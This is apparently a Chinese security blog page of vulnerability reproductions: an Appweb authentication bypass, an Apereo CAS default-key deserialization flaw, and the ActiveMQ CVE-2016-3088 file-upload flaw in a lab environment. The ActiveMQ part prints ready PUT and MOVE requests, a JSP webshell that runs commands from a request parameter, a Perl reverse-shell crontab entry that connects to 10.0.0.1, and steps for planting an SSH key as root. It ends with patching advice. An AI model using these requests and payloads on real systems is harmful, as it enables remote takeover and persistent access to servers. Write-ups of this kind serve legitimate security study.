2017 */
2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password)
2019 {
2020 HttpRx *rx;
2021 HttpAuth *auth;
2022 bool success;
2023 char *requiredPassword;
2024
2025 rx = conn->rx;
2026 auth = rx->route->auth;
2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) {
2028 httpTrace(conn, "auth.login.error", "error", "msg: 'Unknown user', username:'%s'", username);
2029 return 0;
2030 }
2031 if (password) {
2032 if (auth->realm == 0 || *auth->realm == '\0') {
2033 mprLog("error http auth", 0, "No AuthRealm defined");
2034 }
2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password;
2036 if (sncmp(requiredPassword, "BF", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) &&
2037 requiredPassword[3] == ':') {
2038 /* Blowifsh */
2039 success = mprCheckPassword(sfmt("%s:%s:%s", username, auth->realm, password), conn->user->password);
2040
2041 } else {
2042 if (!conn->encoded) {
2043 password = mprGetMD5(sfmt("%s:%s:%s", username, auth->realm, password));
2044 conn->encoded = 1;
2045 }
2046 success = smatch(password, requiredPassword);
2047 }
2048 if (success) {
2049 httpTrace(conn, "auth.login.authenticated", "context", "msg:'User authenticated', username:'%s'", username);
2050 } else {
2051 httpTrace(conn, "auth.login.error", "error", "msg:'Password failed to authenticate', username:'%s'", username);
2052 }
2053 return success;
2054 }
2055 return 1;
2056 }

为了能够绕过身份验证,我们需要能够传递空密码指针,幸运的是,对于表单和摘要身份验证,用于解析身份验证详细信息的函数(第1666行)将允许我们设置空密码指针,并且即使返回错误,最终也不会被authCondition检查,允许我们完全绕过身份验证,利用这个的唯一条件是知道hashmap中的用户名。

为了克服这个限制,必须考虑到散列映射的大小通常很小,并且散列映射中使用的散列算法(FNV)很弱:尝试次数有限,可能会发现冲突,并且登录不知道有效的用户名(未经测试)。

漏洞原理

由于身份验证过程中的逻辑缺陷,知道目标用户名,因此可以通过精心设计的HTTP POST请求完全绕过表单和摘要类型身份验证的身份验证。
文件http / httpLib.c - function authCondition()
该函数负责调用负责认证的两个函数:getCredentials和httpLogin。注意httpGetCredentials周围缺少检查,之后分析会用到这个条件

漏洞前提

该漏洞的存在,必须知道用户名!

漏洞影响范围:

Appweb 7.0.2及早期版本。

复现过程:

打开一看就要登录

image-20211107093110929

构造的get数据包,加入我们构造的usename字段,注意用户名是已经存在的才可以进行构造

1
Authorization: Digest username="admin"

可以看到已经获取到了sessionimage-20211107094043973

改为POST传参,插入获取到的session发包

image-20211107094421536

当然也可以利用浏览器插件去发送session

Apereo CAS 4.1 反序列化漏洞复现

漏洞简介

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

影响版本

Apereo CAS <= 4.1.7

漏洞复现

打开后是个这样子

image-20211029145433938

登录的时候发现

image-20211029145522937

该漏洞存在于登录的execution参数,所以使用Burp抓包。

漏洞原理

漏洞原理是Webflow中使用了默认密钥changeit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;

public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}

// ...

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088) 复现

漏洞背景

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

漏洞原理

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下

1

用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义,如下

2

有趣的是,我们伪造一个特殊的上传路径,可以爆出绝对路径

3

顺着 PUT 方法追踪,可以看到调用了如下函数

4

同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。

5

由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

影响版本

Apache Group ActiveMQ 5.0.0 - 5.13.2

Apache ActiveMQ 5.x ~ 5.14.0

ActiveMQ 可作为关键词检索

漏洞复现

直接写shell

写 shell 的话,需要写在 admin 或者 api 中,也就是需要登录,没有密码的话完成不了写 shell 操作。

(我是用vulhub的环境)该环境默认的口令为 admin/admin。

访问 http://ip:8161/admin/test/systemProperties.jsp

获取当前系统的路径

image-20211029094125192

构造发包

1
2
3
4
5
6
7
8
9
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

我用的是这个jsp小马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

发过去后回显204,在 fileserver 路径下不解析

image-20211029103223345

然后移动到 api 目录下,成功的话,返回 204 No Content

1
2
3
4
5
6
7
8
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image-20211029103527849

执行命令

image-20211029103858225

写入crontab(计划任务)自动化弹shell

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)

构造包

1
2
3
4
5
6
7
8
9
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root:

image-20211029115155233

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

image-20211029115925685

上传SSH公钥

既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。

首先生成密钥对。(如果已存在则不需要)

1
ssh-keygen -t rsa 

然后上传、移动到/root/.ssh/并重命名为authorized_keys

image-20211029120555106

image-20211029121320131

之后SSH登录即可

漏洞防护方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

img